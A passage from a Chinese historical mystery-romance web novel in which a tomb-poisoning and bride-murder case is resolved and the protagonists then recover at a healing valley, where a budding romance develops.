吴耀金此时只顾着哭泣,仿佛是在给阿荞忏悔,他抱着头不停地往戏台边缘撞去,撞破了皮,血糊了一脸。
吴荣贵已然没多少力气,他缓缓闭上了眼睛,但嘴角却挂着笑意,似乎已经完成死前的心愿。
景序昭不能让他这般心满意足的死去,让无辜者殒命,让烂杀着偷生,他不允。
池楚浠趁岳逸钦没留神,快速从他兜里掏出了续命丸,景序昭也正想这么做,他立即伸手接过续命丸强行塞进吴荣贵嘴里。
他捏着吴荣贵的下颌,迫使他将药丸咽下。
喉咙被压过,吴荣贵吞了药丸后连连咳嗽。
岳逸钦气得跺脚:“我说你们两个有没有点良心,直接从我兜里抢了?知道这多值钱吗?”
景序昭道:“抱歉,师父,我会换成钱给您补上。”
岳逸钦哼了一声:“钱钱钱!再多的钱也买不来命,我就这么几颗续命丸全给你们霍霍了。”
“哎哟,岳主事,别这么小气嘛!”身后忽然传来一个声音。
一位身穿白衣,戴着面巾的男子缓步走进墓室,他一双眼睛带笑地看着岳逸钦:“不就是几颗药丸,回头让师父送你一瓶。”
岳逸钦眼睛亮了几分:“你师父来了?”
男子道:“自然是……没来。”
吴蓉贵缓缓睁开眼,看见眼前的男子后当即朝他跪下,虔诚唤道:“晏大夫。”
晏无妄俯身去摸吴荣贵的脉搏,探了一会儿才道:“吸入毒粉过量,服药太晚,毒已侵入五脏,即便是全力救治也没几年寿命了。”
吴荣贵恳求道:“我死不要紧,还望晏大夫救救我儿。”
晏无妄起身道:“我这不是一直在救他吗,若不是我们拿药救治,吴耀金早死了。”
说着,晏无妄却叹了口气:“早知你吴家能祸害出这么多条人命,当初就不该救他。”
吴荣贵捂着胸口咳嗽,很是虚弱的模样。
晏无妄道:“你在墓室外安排的那些人我已经清走,岳主事手底下这几个小辈不会给你吴家人陪葬,有什么事去公廨说吧。”
吴荣贵痛苦地喘了几口气,他双手撑地朝晏无妄磕了一个头。
晏无妄那双眼中也有无奈,他也不想看到事情演变成这副模样。
景序昭对晏无妄道:“不是说好只需护送不良人顺利往返即可,你为何还来了?”
晏无妄再次露出无奈的眼神,他道:“我师父让我来接你师父,没别的,那几个不良人已经在回来的路上了。”
景序昭看向还跪着的吴荣贵:“还不交代?那些新妇到底是怎么死的?”
吴荣贵垂着头,像是没了精气神再也站不起来了。
晏无妄道:“我来说吧,吴家老爷子年轻时常在墓里摸东西,换出来的钱财都用来救济百姓,在十里八乡顶了个大善人的名头。”
“有朝一日无意间摸进了靖王墓,不小心碰了墓中毒粉,幸得那时我师父遇见他救了他一命。”
晏无妄说到这里便幽幽地叹了口气,接着道:“不知怎的,他竟把自己家的墓搬到靖王墓之上,后来尚且年幼的儿子误入靖王墓,被毒粉迷了眼睛,他便又求到我师父跟前。”
岳逸钦来了兴致:“所以是诗韵救了他们父子二人?”
“没错。”晏无妄道,“我师父不过是出于医者的本分救了人,至于他二人害死多条人命一事,我师父并不知情,你们自己带回公廨审。”
晏无妄又想起来别的,补充道:“吴耀金被毒粉迷了眼睛后便总能看见幻象,说是看见了什么九个新娘在跳舞,说得怪瘆人的。”
“他也不是时时都能看见,服用解药后幻象会消失一段时间,发病时偶尔会胡言乱语,说要把我们都抓去,穿喜服,上戏台。”
晏无妄看向旁边的吴耀金,伸手在他眼前晃了晃:“你看,又发病了。”
“当年他年纪小,年纪越小越不好治,错过了最佳用药期,只能任由毒素蔓延在体内,哪怕他如今长大了也还是无法将体内的毒素清除。”
晏无妄凑在吴耀金耳边小声问:“你又看见什么了?”
只听见吴耀金嘀嘀咕咕道:“穿喜服,上戏台。”
“穿喜服,上戏台……”
池楚浠越听越觉得心里发闷,照晏大夫的说法,吴耀金自从中毒后便经常幻视九女舞尸,一心想着复刻戏台上的场景。
那么人会是他杀的么?
众人沉思的间隙,吴荣贵低低的哭声打破了沉默。
“这是报应,是偷死人东西的报应。”
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晏无妄道:“可据我所知你从墓中得来的财物也都是用来救济灾民,自己没留过一分,就算是报应也不该报应到你头上,该大家平摊。”
景序昭道:“当年为何要将吴家墓迁到靖王墓之上?”
吴荣贵缓了缓才回:“靖王墓里钱财太多,我想独占,若不想被旁人发现,这样是最便利的。”
“只怪我太贪,明知墓中有剧毒却还是这么做,将我吴家人置于险境,我儿不慎进入底下的靖王墓,好不容易才捡回一条命,我不愿吴家断了香火。”
景序昭快要捋顺了:“从吴耀金的生母之后,所有吴家新妇之死皆是他所为?而你却选择帮他隐瞒。”
吴荣贵死气沉沉地垂着头:“他亲生母亲也是他杀的,那是他杀的第一个女人,他不满母亲死时没穿喜服,于是他杀的第二个女人便死在了新婚之夜。”
景序昭沉默了片刻。
池楚浠看向晏无妄,问道:“救治多年也无法清除他的幻象?”
晏无妄道:“他中毒时年纪尚小,本就不易治愈,能活下来已是万幸,后续便每隔一段时间用药吊着,至于那双眼睛,我们已经尽力了。”
吴耀金跪在了戏台正前方,他恭恭敬敬地磕下去一个响头,接着磕了第二个、第三个。
吴荣贵含着血泪道:“他有时清醒着便会磕头认错,不过大多数时候他分不清梦境与现实。”
晏无妄一把将吴耀金往后拽了拽:“别磕了,哪怕你长期服用解毒药,这青陵蝶上的毒粉也是能要人命的。”
“大家先出去再说。”
晏无妄道:“有毒的青陵蝶均来自靖王墓,是靖王的防盗手段,青陵蝶的卵百年前就存于墓中,只要有火源靠近,卵中的蝴蝶便能迅速破茧而出,沾了携带的毒粉扑向盗墓者。”
池楚浠道:“江边的青陵蝶不像有毒的。”
晏无妄道:“有携带了毒粉的蝴蝶自然也有没携带毒粉的,那些蝴蝶聪明,寻了缝隙飞了出去,几只一起便在外边繁衍,就这样活了下来。”
晏无妄对吴荣贵道:“看在我师父的份上,你就别再想着拉景序昭他们一起陪葬了,你儿残害了这多条人命,你就算现在能护着他,那今后呢?”
“他依旧会发病,你还想他害死别的无辜少女吗?吴荣贵,你曾经好歹也是十里八乡的大善人,如今却要为了儿子残害别人家的女儿,你的良心安稳吗?”
吴荣贵中毒已深,续命丸虽暂时延缓了毒发,但他依旧血泪横流。
“我愿替我儿赎罪,晏大夫,他是无意的,他不是十恶不赦之人。”
晏无妄拉了吴荣贵一把,招呼不良人道:“都带走,交由公廨处置。”
池楚浠面向着戏台上的新娘,她们还在舞动,石板底下传出绳索牵引的声音。
景序昭用刀尖抵住其中一块石板,有一处声音戛然而止,他接着敲向第二块、第三块有机关的石板,直到所有牵引绳停止舞动。
“好了。”他看向池楚浠道。
池楚浠将所有新娘看在眼里,她们从未做错什么,就阴差阳错地入了死局。
“鬼唱戏,请还魂。”她缓缓道,“若王妃活着她可愿看见这一景象。”
景序昭握住她的手腕将她往外带去:“你不是她,怎知她心中所想。”
两人走在最后,跟着他们走向出去的墓道。
池楚浠想起浮雕上的场景,九女舞尸是巫师骗靖王的把戏,通过新娘操控靖王一生。
靖王或许也不糊涂,他只是别无选择。
出去时,池楚浠回头看了一眼。
“吴家人入狱,无人替她们收尸。”
“一切交由公廨,入土为安要紧。”景序昭道。
67. 久别重逢
在晏无妄面前,吴荣贵没再狡辩,若不是晏无妄亲自来一趟,他怕是死也不会说出真相。
吴荣贵道:“我们父子的命是灵枢谷救的,晏大夫有吩咐,吴某……认罪便是。”
吴荣贵被不良人搀扶着,第一次进墓室的两位不良人被晏无妄喂了药丸,中毒的迹象明显消散。
“公廨的人这会儿怕是已经到吴家了。”晏无妄道。
一行人回到吴家,果真见着许县令领着人等在院中。
新来的不良人将吴家父子团团围住,许县令沉声道:“将人带回公廨。”
许贺桉来到景序昭面前道:“景县丞,可还有别的吩咐?”
景序昭指了指身后的两位不良人:“他二人身中剧毒,这阵子让他们随灵枢谷的人去解毒,别耽误了时辰。”
两位不良人齐齐行礼道:“多谢景县丞。”
晏无妄招呼过来两位灵枢谷的弟子:“随县令去公廨,为他们解毒,别忘了还有吴家父子,吴耀金的药到时间换新的了,出发时师父已经交予你二人了。”
两名弟子点头:“知道了师兄。”
吴荣贵悲戚地看着儿子,他所用之药每隔一段时间便要找灵枢谷熬制,服药这么多年也仅仅只能维持性命。
如今被带去公廨后,怕是不日就要被处以死刑,根本需不着换新的药了。
他哑声道:“多谢晏大夫,也谢过楚大夫救命之恩,我们父子今生无力再偿还恩情。”
说着,他对着灵枢谷的方向深深地鞠了一躬。
一瞬间,吴荣贵苍老了许多。
院中有哭声传来,只见一个熟人哭着跑了出来。
岳逸钦认出他,当下就同情起来:“李老弟,节哀。”
李荞的父亲李耕从吴家翻找出一条女儿生前绣的手帕,他牢牢地将手帕捏在手中,快步冲向吴耀金,双手朝他脖子掐去。
“你们一家不得好死!”
“你何时杀的阿荞?何时!”
李耕掐得吴耀金脸都变了色,县令这才吩咐不良人将李耕拉开。
“勿动用死刑,回公廨再说。”许县令道。
李耕被不良人拦住,发了疯的情绪无处释放,便只能跪在地上抱头痛哭。
“阿荞,我的女儿!”
岳逸钦还记着一壶酒的情谊,他叹了口气道:“阿荞新婚不久便死了,她其实私下早已与吴耀金相识,嫁进吴家时已有了几个月的身孕。”
“李老弟,这是他们吴家欠你的,几辈子都还不清。”
李耕愣住了,身孕?
他不禁回想起女儿待嫁闺中的日子,成婚前几个月她的身子的确有所不适,原来是有了身孕却藏着不说。
想明白后李耕更悲痛了。
“有了身孕也被你这个畜生活活打死,我真是瞎了眼才把女儿嫁到你们吴家!”
“早知如此,你们就是搬空了家中钱财来求娶,我也是断不会答应!”
池楚浠默默地看着这一切,寻常人家谁又能抵得住钱财的诱惑。
也没什么好嗔怪的,更何况李荞早已心悦吴耀金,只可惜她不知他有癔症。
是那种会杀新娘的癔症。
吴耀金的眼神此刻又变得混沌了,他被不良人扣押着,抬着头茫然地扫视了周围一圈。
之前发生的种种对他来说更像是混乱不堪的梦境,他根本不知道自己真的杀了新婚娘子。
许县令带了人回公廨,他当着景序昭的面发誓说要断好此案,彻查吴荣贵盗墓一事。
江边,池楚浠望着他们的船渐渐远去。
青陵蝶仍旧在岸边飞舞,它们喜欢停在水草上,端详着自己映在水中的倒影。
传言,青陵蝶是靖王夫妇所化。
晏无妄一边走一边叹气,一路上不知叹了多少回。
岳逸钦看不下去,道:“你是得了什么不叹气就要死的病,回去让你师父给你治治。”
晏无妄默默地叹了一声:“我师父她老人家还不知道吴家祸害出这么多条人命,若是知道当初因为她的救治才导致了这桩惨剧,她怕是寝食难安。”
岳逸钦道:“你不许告诉她,到了灵枢谷你一个字也不许提。”
晏无妄摇摇头:“她又不傻,你离这么近都要飞鸽传书,她能猜不到一分半豪?更何况此番又不止我一人前来,其他弟子必定会如实禀报。”
岳逸钦眉头皱起,才过了没一会儿,他也跟着叹起气来。
池楚浠骑着马奔驰在原野之上,五月中的怀德正是草长莺飞的时节。
灵枢谷内草木繁盛,药材遍地,马蹄踏在地上仿佛都能闻到被踩碎的药草香。
景序昭的马儿跟着她跑,两人跑在同一条水平线上。
“你这几日似乎有些沉闷,常是少言寡语。”景序昭道。
“是么?”池楚浠看了他一眼,“我本就不是什么会说话之人,少言寡语实是我本来的模样。”
景序昭看着她的侧脸,小娘子柔和精致的五官在阳光下熠熠生辉。
她加速前行,往灵枢谷去。
不是她不想说话,实在是不知该与景序昭说些什么。在发现他悄悄藏着同心锁开始,就如此了,在靖王墓中他无微不至地照拂更令她说不出话来。
事情不该如此,她从未想过要与景序昭变成这样的关系。
灵枢谷的弟子们各自忙碌着,池楚浠和景序昭分别被领去了不同的房间。
灵枢谷的弟子们大多都戴着面巾,衣着也多为白色,看起来很是整洁。
“我叫谢念,是无妄的三师姐,池娘子坐好,容我为你扎针清毒。”
“多谢了。”
池楚浠乖乖坐着,看着眼前的谢念从布包上抽出银针。
谢念道:“靖王墓里的毒粉有些年头了,越古老的毒解起来越麻烦,当年师父也是花了好长时间才弄明白它的毒性。”
“幸好续命丸服用得及时,否则神仙难救。”
谢念开始在池楚浠身上施针,她的动作游刃有余。
听岳师父说灵枢谷的弟子们都有着数一数二的医术,随便一位拎出去都能名扬一方,有的学成出去了,有的乐意留在灵枢谷。
池楚浠忍不住问道:“景县丞所中之毒要严重许多,能好吗?”
谢念道:“我也不知,你们一来师父就吩咐我们立即为你们解毒,不过景序昭那边是师父亲自去的。”
“那小子打小就在师父身边玩,没少为弟子们试药,你放心吧,他是最不容易毒死的那个,更何况有师父亲自为他解毒,不会有事的。”
谢念语调往上一挑
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:“怎么,你关心他?爱慕他?”
池楚浠怔了怔:“……没有的事。”
谢念笑了:“我还以为真的有小娘子喜欢他了呢,以前岳师父总说他命寡,不宜过早娶妻,女子沾上他就会不幸,所以谷中女子从未对他有过别的想法,只当他是试药的玩伴。”
“可怜的景小子,到如今也没能娶上个媳妇,白白浪费了一个极好的家世和那副好皮囊。”
池楚浠道:“岳师父说他的寡命已经过了,想必下次再回长安家中便能为他觅得如意娇娘。”
“那好啊,能娶上媳妇就是好事。”谢念道。
施针完毕,谢念道:“我去厨房看看你的药熬好了没,这药需得连续服用七七四十九日,前七日的药需得每日现熬,是最佳排毒期,可能会有些难挨,到时你可得忍着些。”
池楚浠点点头:“多谢师姐。”
谢念道:“撑过前七日就好了,后续你只需每日服用制好的药丸即可,出行携带也方便。”
“我去厨房了,你先好好歇着,施针后会有些疲累,想睡就睡会儿。”
谢念差人把熬好的药送来,池楚浠喝了药吃了些东西便睡下了。
灵枢谷的空气格外清新,处处透着草木清香,偶尔还夹杂着晒干的药草香。
周围的味道仿佛能助眠似的,池楚浠很快入睡,起初睡得很沉,大概是许久没好好休息过了。
还不到子时,池楚浠便噩梦频频。
灵枢谷的弟子们都睡得早,师父说过早睡、睡够有助于养精蓄锐。
景序昭穿衣下床,执了盏灯出门。
池楚浠仿佛陷入了梦魇,迷迷糊糊地挣扎着,想要醒来却怎么也睁不开眼。
身上传来痛楚仿佛万蚁啃噬,梦里她使劲挣扎着,可怎么也摆脱不了这种清晰的痛楚。
三师姐的话隐隐在脑海中想起,她还残存的意识告诉自己,这是施针和药起了效果,只要熬过这七日就好过了。
“嗯……”
她忍不住发出痛苦的闷哼声,汗水渐渐打湿了鬓角,她却在梦魇里还未醒来。
屋子里漆黑一片,混沌的意识中又有那么一丝理智,明白自己身处何种境况。
“阿耶……”
她低低地唤了一声,梦中她看见了父亲的影子,却怎么也看不清晰,阿耶仿佛一只鬼魂,在她面前面无表情地飘远了。
“阿耶!”
她希望能唤他停住脚步,哪怕只是静静地停在她面前,不要那么快飘走。
有光影从外面照过来映在门上,门“吱呀”一声被人从外面推开。
景序昭拿着灯盏进了屋子,反手将门合上。
他将灯放在离池楚浠最近的桌台上,借着光亮看向她的面容,她正处在极度的痛苦之中。
“楚浠。”
他只轻唤了一声,池楚浠没有醒来,只是眉头微蹙。
景序昭早就预料到她会有这样的反应,毕竟这可是百年前的剧毒,想要将它排出体外不是那般容易。
他自身是早就习惯了,从小吃过太多的灵丹妙药,即使身中剧毒也不会有寻常人那般反应。
从前楚大夫亲自为他解毒,他也有过剧烈的排毒反应,与此时的池楚浠并没有太多区别。
他知道如何缓解痛苦。
68. 我也送糖
景序昭在旁边坐下,手指按向池楚浠头部的穴位,适当按压,舒缓头部痛感及眩晕。
渐渐的,池楚浠感觉意识越来越清晰,梦境也不再那般混乱,脑子舒服了许多。
景序昭接着按向她的双臂、双肩,每一处的穴位他找得极准,仿佛曾经这样按过多次。
景序昭不停地按压穴位,即使手指有些麻木也未停歇。
池楚浠终于缓过神来,她缓缓睁开眼,在暗暗的光影中瞧见了景序昭侧脸。
景序昭朝她看来,轻声询问:“可好些了,还疼吗?”
池楚浠“嗯”了一声:“好多了,有劳。”
“你为何没事?”
景序昭道:“经历得多了就习惯了,不碍事。”
他也是疼的,只是没那般剧烈,尚且可以忍受,更何况已经有过多次经验,不至于害怕慌乱。
池楚浠忽地握住景序昭其中一只手腕,不让他继续按压。
她皱眉道:“你从前在灵枢谷他们天天喂你吃毒药么,怎么如此狠心?”
景序昭忽地笑了:“是我幼时顽皮,自己偷吃的,那时还分不清毒药与解药。”
“毒药往往做得无色无味,有的甚至极其香甜,让人忍不住想尝一口。”
“只是有时一口便能要人性命。”
景序昭拿毛巾擦去池楚浠额间的汗,出汗也是排毒迹象之一。
“疼痛还会持续一段时间,你忍忍。”景序昭柔声道,他的手往下探去,触及池楚浠腿上。
“冒犯了。”
手指力道适中地按压腿部穴位,那股钻心的疼竟真的渐渐散了些。
池楚浠没忍住,腿动了动,她往床内侧缩了缩:“不必了……已经好了许多。”
景序昭暂时收回手,但沉声道:“还不够时辰,你也别骗我了,我知道这会儿还痛着。”
“我不碰便是。”景序昭说。
景序昭去冲了一碗糖水递来:“幼时长孙夫人便是给我喝这个缓解,有用,你试试。”
池楚浠疑惑道:“你们一会儿长孙夫人,一会儿楚大夫,这灵枢谷的主人究竟是谁?”
景序昭道:“皆是同一人,长孙是她从前的姓氏,离开长安后便改了名,她喜欢旁人唤她楚大夫。”
景序昭扶着池楚浠坐起来,将碗送到她嘴边。
池楚浠接过碗:“我自己来。”
门外晃过来一道光源,敲门声响起。
“池娘子,你屋里还亮着灯啊,那我进来了。”
听声音,来的人是谢念。
谢念推门进来时就愣住了,她呆呆地盯着景序昭,过了好一会儿才惊道:“你、你、你为何深更半夜在此处啊?”
景序昭站在床边道:“送糖水。”
“我也是来送糖水的,算算时辰,池娘子这会儿该难受了。”谢念将食盒提来放在桌上,“看来是用不着我这份了。”
池楚浠喝完糖水将碗轻轻放下,拿手绢擦了擦嘴,痛感虽然减轻了许多但还没有彻底消退。
恶心的感觉被糖水的甜味压了下去,心口比之前好受了许多,也难怪这两人都要来送糖水。
不太明亮的光线中,池楚浠努力压制着脸颊上的那抹绯色,任哪个小娘子在半夜被人撞见与郎君私会都将是百口莫辩。
所以她什么也没解释,再解释就是掩饰了。
谢念轻咳了几声,像是刻意的,她道:“那个……景序昭,给人家按按,缓解不适,好得快。”
景序昭应道:“按过了。”
谢念:“……”
无声之外还有震惊,谢念的嘴惊讶得一张一合,却不知该说什么。
“那什么,我先回去了,二位早点歇息。”
谢念撒腿就溜。
“谢师姐……”
池楚浠感谢的话还没说出口,谢念就跑得没影了。
屋中两人面面相觑,池楚浠道:“要不你也回去歇息,你的身子也要好生休养。”
景序昭在桌前的凳子上坐下:“等你好些我再离去,这里是楚大夫的灵枢谷,不会有人说你闲话,都是自己人。”
池楚浠道:“我已经好了。”
景序昭眉眼微微一沉,低声道:“不必哄骗我,到时间我自会离去。”
池楚浠沉默了片刻。
过了一会儿听见他道:“若我再弃你于不顾,你该在何处安身。”
这话倒不像是在问她,而是在告诉她答案。
池楚浠怔了怔,烛光中,她鼻尖微微有些发酸:“我无需安身,漂泊亦可。”
说完,她侧目看向景序昭,只见他定定地望过来,一句话也没回,仿佛方才已经告诉了她答案。
池楚浠钻回被窝里,面朝里侧不去看景序昭。
阿兄,阿兄,你可知你在做什么。
池楚浠默默闭上眼睛,全当身后没这个人。
身体的痛楚不知是何时彻底消退的,池楚浠迷迷糊糊睡了过去,到第二日醒来时大家都已经在干活了。
她来到院中一看,谷中弟子有的在晒干药材,有的在给药材分类,还有的在院里打拳……
看来谷中的日子倒真是很惬意,难怪有人即使学成了也不想出去扬名立万,在这里多好,清闲自在。
谢念过来道:“醒了,自己去厨房找饭吃,在锅里热着呢,大家伙都去忙了。”
“好。”池楚浠应着,“我这就去。”
原来大家都吃过了,池楚浠今日起晚了,谷中弟子全然做到了师父要求的早睡早起。
池楚浠问了路往厨房去,刚到厨房就看见景序昭也跟来了。
“你也没吃?”池楚浠问。
“我吃过了。”景序昭道,他揭开锅盖将里面热着的早饭端出来,全都放进呈盘里。
“这几日宜吃清淡,你习惯吗?”说着,他端上呈盘就往外走,“跟我来。”
池楚浠赶紧跟上去:“自然是习惯,我又不是顿顿要大鱼大肉。”
景序昭领她来到吃饭的厅中,将饭菜摆好:“吃吧,大病时胃口不好,即便如此你也要坚持吃一些。”
“你怎知我胃口不好?”池楚浠笑笑,自行在桌边坐下,“我胃口挺好。”
景序昭弯了弯唇角:“那便好。”
“岳师父呢?”池楚浠问。
景序昭:“与楚夫人叙旧呢,没一两个月这旧叙不完。”
池楚浠笑了笑:“楚夫人是他心上人吧?”
景序昭:“何止,他们的孙儿都会跑会跳了。”
池楚浠一脸震惊,原来是老夫老妻。
“那他们的儿女都在谷中吗?”
“在长安呢,孙儿们都在长安学堂念书。”
“在长安念书啊,那倒是好事,以后各个都考上状元。”
刚吃过饭从屋里出来,一个小女孩儿便朝这边跑来,她手上拿着风筝,举着风筝跑了一段路却没让风筝飞起来。
小女孩儿看起来有些沮丧,望着手中的风筝一副无可奈何的模样。
女孩儿见着景序昭时眼前一亮,撒腿就跑了过来:“景县丞,你能帮我把风筝放起来吗?”
景序昭接过蝴蝶风筝:“好。”
景序昭对池楚浠道:“这是张参军的女儿,张若菱,她母亲也在谷中。”
池楚浠想起张参军被刺杀一案,听闻张参军府中的人都遭了毒手,没想到他的夫人和女儿竟还活着,而且还在灵枢谷,必定都是景序昭的功劳。
眨眼间,景序昭就已经
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帮若菱把风筝放起来了,蝴蝶风筝越飞越高,景序昭将绳子交到若菱手中。
“拿稳了。”
若菱欣喜地点头:“嗯嗯!”
“你阿娘呢?”
“跟着师妹他们采药去了,听闻近日谷中的芍药开得正盛,可漂亮了!我阿娘爱花,必是要去摘些回来养着,否则再过几日就让姐姐妹妹们摘完啦。”
景序昭看向池楚浠道:“你还要在谷中休养几日,闲着也是闲着,不如跟着去逛逛。”
谢念从旁路过,直接扔给他们一个背篓:“没错,闲着也是闲着,不如你们采药去,当做治病的诊金。”
池楚浠接过背篓:“好。”
在这里吃住,还要接受诊治,是该交些钱才行,池楚浠算了算自己身上所有的钱,应该是够的,不过除了钱还有一些人情上的东西,比如谢念对她的关怀,这些无法用钱来衡量,去帮着采药倒是个好主意。
背篓让景序昭接了去,池楚浠不熟路,听闻药草多数在后山,便跟着他往后山走。
谷中气温偏低,这会儿露珠还未散净,池楚浠稍微提了提裙摆,但衣角还是被浸湿。
“山中蛇虫较多,你当心些。”景序昭提醒道。
池楚浠嗯了一声,安静地跟着他走上一条小道。
前方能看见其他人的身影,一片或红或白的芍药开得正好,若菱的啊娘正剪下一朵芍药花放入篮中。
采药的一位师姐冲景序昭摆了摆手,朗声吩咐:“你去采些夏枯草和紫苏,带回去交给谢师姐。”
景序昭应了声好。
身旁就是一簇白色芍药,景序昭挑了几朵开得好的摘下,剪枝时留了较长的杆子。
“拿回你房中放水里可养两日。”
池楚浠道:“两日便凋谢了,那何苦还摘它。”
景序昭指了指这一片芍药道:“多的是,摘几朵也不可惜,届时等它焉了你再交于谢念让她晒干了入药即可,半点不浪费。”
景序昭又随手摘了一些还未盛开的花骨朵:“这些一同养着,只消片刻就开了。”
池楚浠跟着他走在山间,随意吸口气都觉得身心舒畅,这灵枢谷当真是养人啊。
大片的芍药,入目灿烂无边。
他们与其他人去往不同方向,在一处小坡地,池楚浠看见了长势喜人的夏枯草,绿色的茎叶上开着一串白紫的小花。
池楚浠拿着小锄头将它挖进背篓里。
“这些都要采回去吗,我瞧着似乎漫山遍野都是。”
景序昭笑了:“你若想将这一片山头的草都挖回去也可以,他们定会感激你的。”
池楚浠知道他在打趣,便自顾自地挖药材。
池楚浠在草丛里挖呀挖,突然看见一颗蘑菇,她不可置信地揉了揉眼睛,周围不像是长这种蘑菇的地儿。
她疑惑地碰了碰那颗蘑菇,发现长蘑菇的土壤很是稀松,像是被人刨过一遍。
更奇怪的是这蘑菇倒像是被人刻意插进土里的,不是自然从地里冒出来的。
池楚浠左右看了看,就在不远处又有一颗蘑菇。她顺着蘑菇寻去,发现了更多的蘑菇,这些蘑菇远远地连成一串,显然是被人刻意放置的。
池楚浠好奇地寻了过去,一直来到山坡后方。
一个黑乎乎的人影蹲在地上背对着她,从背影看,他披头散发的似乎在刨土。
难道这些蘑菇都是他种下的?
池楚浠正疑惑地想着,忽然那个人影掉头蹿来,像野兽一样将池楚浠扑倒。
“汪汪汪!”
那人嘴里发出了狗一样的叫声。
“啊……”
池楚浠一脸惊恐,整个人跟他一起滚在了地上,后腰被一块凸起的石头咯得生疼。
69. 别学狗叫
这个披头散发的男人像狗一样按住池楚浠的双手,对着她一通狗叫。
池楚浠感觉身上忽然一轻,男人被璟序昭提溜着拎了下去。
“张邈!不可胡来!”
池楚浠这才正面看清那人样貌,不算邋遢,只是头发蓬乱,是个年轻男人的模样。
景序昭赶紧将池楚浠扶起:“可有伤到哪里?”
池楚浠摇摇头。
尽管她没说,景序昭还是瞧见了她两只手腕上的伤,张邈的指甲有些锋利,不小心划破了她的皮肤。
景序昭怒瞪张邈一眼:“回去让谢念给你剪指甲,不好好在屋里待着,乱跑什么。”
池楚浠好奇地看着张邈:“他为何这样?”
景序昭道:“得了疯病在谷中治疗,已经比从前好了许多,至少通人性了。”
后腰处突然一阵剧痛,疼得池楚浠皱了皱眉,看来方才被撞得不轻。
她忍不住伸手在后腰处揉着。
景序昭留意着扭头看去:“这里也伤着了?”
说着,他手探过去按了一下。
“嘶……”池楚浠疼得倒吸一口凉气,“方才撞到石头上了,无妨,过几日便好。”
“汪汪!汪!”
张邈昂着头冲池楚浠直叫,看起来有些警惕,两只爪子缩着贴在自己身侧。
池楚浠不太习惯看见人变成狗的样子,就这样尴尬地与张邈对视:“我没有恶意,你……不必朝我叫。”
“汪汪汪汪!汪!”张邈叫得更大声了。
景序昭抬手就在他脑门敲了一下:“不许叫,她不是外人,再叫就拔了你的狗牙。”
张邈一听,赶紧用两只爪子捂住嘴巴,一双狗眼警惕地盯着池楚浠。
景序昭指向一旁,命令道:“去那边玩儿。”
“汪汪!”
张邈一蹦一跳地跑来了。
池楚浠望着张邈的背影,怔怔道:“你们谷中还真是什么病都能治。”
刚要走两步,池楚浠就差点摔下去,后腰处剧痛竟引起腿抽筋,整个下肢都发麻。
“我好像走不了了……”她绝望地看向景序昭。
景序昭寻到池楚浠后腰的伤处,在周围找了两处穴位轻轻按下去:“很疼的话就告诉我。”
“有点疼,但还能忍。”池楚浠道。
“嗯,那我继续了。”
池楚浠点点头。
池楚浠坐着任景序昭按摩穴位,下肢的麻木感渐渐减轻。
“你也学了些医术?”
“只是翻看过一些医书,我不是大夫,回去让谢念给你瞧瞧。”
景序昭将池楚浠扶起来,见她眉头又疼得皱了一下。
“若是伤到筋骨就有些麻烦了,早些回去,不可再耽搁。”
景序昭不由分说地将池楚浠背上,池楚浠提着背篓。
景序昭冲着不远处的石头唤了一声:“张邈,过来帮忙。”
藏在石头后的张邈鬼鬼祟祟地探出头来:“汪!”
景序昭将背篓扔给它,它接住背篓跟着景序昭往回走。
一回到院中,谢念先是见着被背着的池楚浠,再是见着狗狗祟祟的张邈,当即就明白了怎么回事。
她一个药果子朝张邈砸去:“你小子又吓着人了!都告诉你多少回不准咬人不准咬人,你还来!”
“我打你个臭狗子!”谢念抓起一棵干草药追着张邈去。
满院子响起“汪汪汪”的声音。
一旁晒药材的弟子见了忍不住笑,但也不忘关切几句。
“池娘子没事吧,伤得严不严重,可有被他咬到,若是被咬了一定要上药。”
池楚浠摇摇头:“没。”
谢念教训完了张邈,赶着回屋来看池楚浠。
“景小子,池娘子伤到哪里了?”
景序昭指了指池楚浠腰后的位置:“这里,撞得厉害,劳烦师姐给她看看。”
谢念走上前解池楚浠衣带,景序昭慌忙转过身去,顿了片刻又大步走出房门。
“有事唤我,我就在门外。”
谢念:“知道了。”
谢念仔细检查了一遍,帮池楚浠按了按腿根的穴位。
“我瞧着有些穴位红红的,想必是他帮你按摩过了,幸好舒缓及时,你不知,有的人不小心撞到关键处一辈子瘫痪也是有的。”
池楚浠慌忙道:“这里没按过,只按了腰上。”
“我知道。”谢念噗呲笑了,“我说的是后腰处,你想岔了,我知景小子的为人,他倒也不至于没有分寸,我师父和岳主事从小对他比对谁都严格,说他是景家嫡子,将来要回去继承家业,若是今后被景家接回去的是个不知轻重的混小子,他们都怕脸面没处搁。”
池楚浠轻轻地嗯了一声。
谢念道:“今日行针一道给你后腰扎几针,顺顺气,没事,慢慢就好了。”
“多谢师姐。”
“不碍事,怪我没看好张邈,让他把你吓着了,我这就找条绳栓住他。”
“阿?”池楚浠怔了怔,“还是别了,他毕竟是个人。”
谢念笑道:“就你当他是个人,他自己乐意当狗得很,他都不乐意做人,想做狗,不信一会儿吃饭时你扔块骨头给他,他一定乐颠颠地朝你摇尾巴。”
池楚浠:“……”
世上还有这种疯病。
谢念把池楚浠的幻梦蛉拿去和弟子们逗弄了一会儿,给它喂了些吃的。
下午,谢念来为池楚浠施针。
“今夜给你的安神香多加了些料,让你睡得更安稳,想必不会像昨日那样梦魇了。”
“有劳了。”
“不客气,哦对了,今夜景小子还来吗?他来我就不来了。”
池楚浠脸红一瞬:“能不能拜托师姐一件事?”
“你说。”
池楚浠垂眸道:“让他别来,以后几天也是。”
谢念张了张嘴,将原本想说的话咽下:“……好。”
景序昭在院中帮弟子们收药材,这会儿没太阳了,需得将药材分类放好,明日再晒。
谢念一边捡药材一边偷偷看向对面的景序昭,接连叹了好几口气。
景序昭见她又是摇头又是叹气,便道:“你别对着我做出这副神情,显得我像是要死了,很可怜似的。”
“没错。”谢念很认可地点头,“你的确很可怜,比张邈还可怜,他至少还有做狗的快乐。”
景序昭:“……”
谢念盯着他摊摊手,摆出个同情的表情。
“莫名其妙。”景序昭去给其他的弟子收药材了。
入夜,谢念算着时辰去看池楚浠是否睡得安稳,她今日是早早过来门外候着的。
见景序昭端着糖水来了,谢念上前一步接过糖水:“诶,交给我送就好了,你一个大男人半夜三更进小娘子的屋子不妥,以后都由我来送,记住了吗?”
景序昭要去抢糖水,被谢念躲了过去。
“你想清楚了,你这样做哪个小娘子会喜欢,她不说不代表她不介意,明白吗?”
“赶紧回去,没你的
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事儿。”
谢念嫌弃地挥挥手:“快走。”
景序昭沉思片刻,道:“那你进去看看,我在外等着。”
